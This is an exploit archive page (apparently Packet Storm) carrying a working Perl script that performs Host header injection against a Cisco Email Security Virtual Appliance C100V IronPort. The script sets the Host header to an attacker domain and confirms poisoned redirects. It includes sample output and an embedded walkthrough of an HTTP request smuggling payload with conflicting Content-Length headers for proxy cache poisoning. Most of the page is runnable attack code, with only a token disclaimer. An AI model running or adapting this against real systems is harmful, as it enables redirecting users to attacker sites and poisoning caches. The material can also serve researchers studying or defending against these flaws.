exploit the possibilities

Cisco Email Security Virtual Appliance C100V IronPort Header Injection

Cisco Email Security Virtual Appliance C100V IronPort Header Injection
Posted Sep 3, 2019
Authored by Todor Donev

Cisco Email Security Virtual Appliance C100V IronPort remote host header injection exploit.

tags | exploit, remote
systems | cisco
MD5 | 483058c8b4dc3d3438f5659205199510

Cisco Email Security Virtual Appliance C100V IronPort Header Injection

Change Mirror Download
#!/usr/bin/perl -w
#
#
# Cisco Email Security Virtual Appliance C100V IronPort Remote Header 'Host' Injection
#
#
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
#
# [test@localhost ironport]$ perl ironport_c100v.pl https://192.168.1.1 attacker.com
# # Cisco Email Security Virtual Appliance C100V IronPort Remote Header 'Host' Injection
# # ====================================================================================
# # Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
# # > Host => attacker.com
# # > User-Agent => Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10
# # > Content-Type => application/x-www-form-urlencoded
# # < Cache-Control => no-store,no-cache,must-revalidate,max-age=0,post-check=0,pre-check=0
# # < Date => Mon, 02 Sep 2019 13:50:10 GMT
# # < Location => https://attacker.com/login?CSRFKey=6c74441b-fe79-9d05-3273-bf06907363d6&referrer=https%3A%2F%2Fattacker.com%2FSearch
# # < Server => glass/1.0 Python/2.6.4
# # < Content-Type => text/html
# # < Expires => Mon, 02 Sep 2019 13:50:10 GMT
# # < Last-Modified => Mon, 02 Sep 2019 13:50:10 GMT
# # < Client-Date => Mon, 02 Sep 2019 13:50:09 GMT
# # < Client-Peer => 192.168.1.1:443
# # < Client-Response-Num => 1
# # < Client-SSL-Cert-Issuer =>
# # < Client-SSL-Cert-Subject =>
# # < Client-SSL-Cipher => ECDHE-RSA-AES128-GCM-SHA256
# # < Client-SSL-Socket-Class => IO::Socket::SSL
# # < Client-SSL-Warning => Peer certificate not verified
# # < Content-Security-Policy => "default-src 'self' ; img-src 'self' 'data' ; connect-src 'self' 'wss' ; report-uri https://CENSORED/report/URL;"
# # < Public-Key-Pins => pin-sha256="1mrdZnNreHkkEsgQgh1qML/lXsZO46ylRtom1E/KQRU="; pin-sha256="lub4Z419z4mXVxmkkLqAosIc1V7nWCz8vp2i+zuaGqs="; max-age=2592000; includeSubDomains
# # < Referrer-Policy => strict-origin-when-cross-origin
# # < Refresh => 0; URL=https://attacker.com/login?CSRFKey=6c74441b-fe79-9d05-3273-bf06907363d6&referrer=https%3A%2F%2Fattacker.com%2FSearch
# # < Set-Cookie => sid=N4o3gPxyqKQPcHCkmVP7; httponly; Path=/; secure
# # < Strict-Transport-Security => max-age=157680000
# # < Title => : Redirecting
# # < X-Content-Type-Options => nosniff
# # < X-Frame-Options => SAMEORIGINSAMEORIGIN <<-- WTF?? o.O
# # < X-XSS-Protection => 1; mode=block
# # ====================================================================================
# # IronPort is Poisoned => https://attacker.com/login?CSRFKey=6c74441b-fe79-9d05-3273-bf06907363d6&referrer=https%3A%2F%2Fattacker.com%2FSearch
# [test@localhost ironport]$
#
# Request Smuggling Attack - Input and Data Validation
#
# Implementation
#
# o Attack Applies To Vulnerable web servers and proxies.
#
#
# Description
#
# HTTP request smuggling is a technique to take advantage
# of discrepancies in parsing when one or more HTTP devices
# are between the user and the web server. An attacker may
# be able to 'smuggle' malicious requests through a packet
# inspector, firewall or web proxy server. This technique
# may leave the web server vulnerable to various attacks
# such as web cache poisoning, or allow the attacker to
# request protected files on the web server.
#
# Impact
#
# Cache poisoning: An attacker may be able to ‘rewire’
# o a web server cache so that one page is served when
# another is requested.
#
# Malicious requests: An attacker may be able to smuggle
# o a malicious request through a packet inspector, web proxy
# server, or firewall because of discrepancies in security
# rules between it and the web server.
#
# Credential hijacking: An attacker may be able to insert
# o a request into the HTTP flow, thereby manipulating the
# web server’s request/response sequencing, which can allow
# the attacker to hijack a third party’s credentials.
#
# Vulnerabilities
#
# o Web server, packet inspector, firewall, or web proxy server
# misconfiguration.
#
# Countermeasures
#
# Deploy a non-vulnerable web server: Web servers with a very
# o strict HTTP parsing procedure may not be vulnerable to this
# attack.
#
# Change all pages to non-cacheable: This will force the proxy
# to retrieve the pages from the web server every time. Although
# o this is better from a security perspective, the reality is that
# caching significantly improves the server's performance and
# reduces latency. Thus, other countermeasures are a better long
# term fix.
#
# o Rewrite all HTTP requests: Install a module on a firewall or
# proxy server to rewrite each HTTP request on the fly to a known
# valid request type.
#
# o Update your web server: Contact the web server vendor and check
# if there has been a patch released for a this type of vulnerability.
#
#
# Example
#
# This example describes the classic request smuggling attack
# in which an attacker can poison one page with the contents
# of another. In this example, the attacker combines one POST
# request and two GET requests into a single malformed HTTP
# request. The HTTP request has two Content-Length headers
# with conflicting values. Some servers, such as IIS and
# Apache simply reject such a request, but others attempt to
# ‘fix’ the error. Fortunately for the attacker, certain web
# servers and web proxies choose to pay attention to different
# sections of the malformed request.
#
# In this case let "somewhere.com" be the DNS name of the web
# server behind the proxy, and suppose that "/poison.html" is
# a static and cacheable HTML page on the web server.
#
# 1 POST http://somewhere.com/example.html
# HTTP/1.1\r\n2 Host: somewhere.com\r\n3
# Connection: Keep-Alive\r\n4
# Content-Type: application/x-www-form-urlencoded\r\n5
# Content-Length: 0\r\n6 Content-Length: 53\r\n7 \r\n8 GET /poison.html HTTP/1.1\r\n9
# Host: somewhere.com\r\n10 Bla: 11 GET http://somewhere.com/index.html HTTP/1.1\r\n12
# Host: somewhere.com\r\n13 Connection: Keep-Alive\r\n14 \r\n
#
# Note that line 10 is the only line that does not end in
# CRLF ("\r\n") and instead there is a space ("Bla: ").
# This request is sent to a web server via a proxy server.
#
# First, this message is parsed by the proxy. When the proxy server
# parses the message, it finds the POST request (lines 1-7) followed by
# the two conflicting Content-Length's (lines 5 and 6). The proxy ignores
# the first header and believes the body is 53 bytes long (which is exactly
# the number of bytes used by lines 8-10 including CRLFs). The proxy then
# sees lines 11-14 and interprets them as a second request.
#
# Second, the message is parsed by the web server. Although the web server
# receives the same message, when it sees the first Content-Length in line 5,
# it thinks that the body of the POST request is 0 bytes in length.
# Therefore it finds the second request in line 8 and interprets line 11
# as the value of "Bla: " in line 10 because of the missing CRLF.
#
#
# At this point the web server responds to the GET in line 8 by sending
# the content of /poison.html to the proxy. The proxy, expecting a
# response to the GET request in line 11, mistakenly matches the reply
# from the webserver with contents from /poison.html to the page /index.html.
# Therefore, the contents of /poison.html are cached under the name /index.html
# on the proxy. Now any user who requests http://somewhere.com/index.html
# through the proxy will receive the contents of http://somewhere.com/poison.html
# instead.
#
# There are several options available to mitigate this attack but all of
# them have their downside. If possible, use a well tested web server such
# as Apache or IIS. Otherwise, you can turn off server-side page caching,
# but this can lead to significant performance problems such as increased
# server load and latency. A final option is to use SSL communication for
# everything (HTTPS instead of HTTP), but this too has an associated
# performance overhead.
#
use strict;
use v5.10;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;


my $host = shift || '';
my $attacker = shift || 'attacker.com';


print "# Cisco Email Security Virtual Appliance C100V IronPort Remote Header 'Host' Injection
# ====================================================================================
# Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
";
if ($host !~ m/^http/){
print "# e.g. perl $0 https://target:port/ attacker.com
";
exit;
}

my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(
protocols_allowed => ['http', 'https'],
ssl_opts => { verify_hostname => 0 }
);
$browser->timeout(10);
$browser->agent($user_agent);

my $request = HTTP::Request->new (POST => $host,[Content_Type => "application/x-www-form-urlencoded"], " ");
$request->header("Host" => $attacker);
my $response = $browser->request($request);
print "# 401 Unauthorized!\n" and exit if ($response->code eq '401');
say "# > $_ => ", $request->header($_) for $request->header_field_names;
say "# < $_ => ", $response->header($_) for $response->header_field_names;
print "# ====================================================================================\n";
if (defined ($response->header('Location')) and ($response->header('Location') =~ m/$attacker/i)){
printf ("# IronPort is Poisoned => %s\n", $response->header('Location'));
exit;

} else {

printf ("# Exploit failed!\n");
exit;

}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    1 Files
  • 2
    Dec 2nd
    16 Files
  • 3
    Dec 3rd
    17 Files
  • 4
    Dec 4th
    23 Files
  • 5
    Dec 5th
    11 Files
  • 6
    Dec 6th
    10 Files
  • 7
    Dec 7th
    1 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    15 Files
  • 10
    Dec 10th
    30 Files
  • 11
    Dec 11th
    8 Files
  • 12
    Dec 12th
    20 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close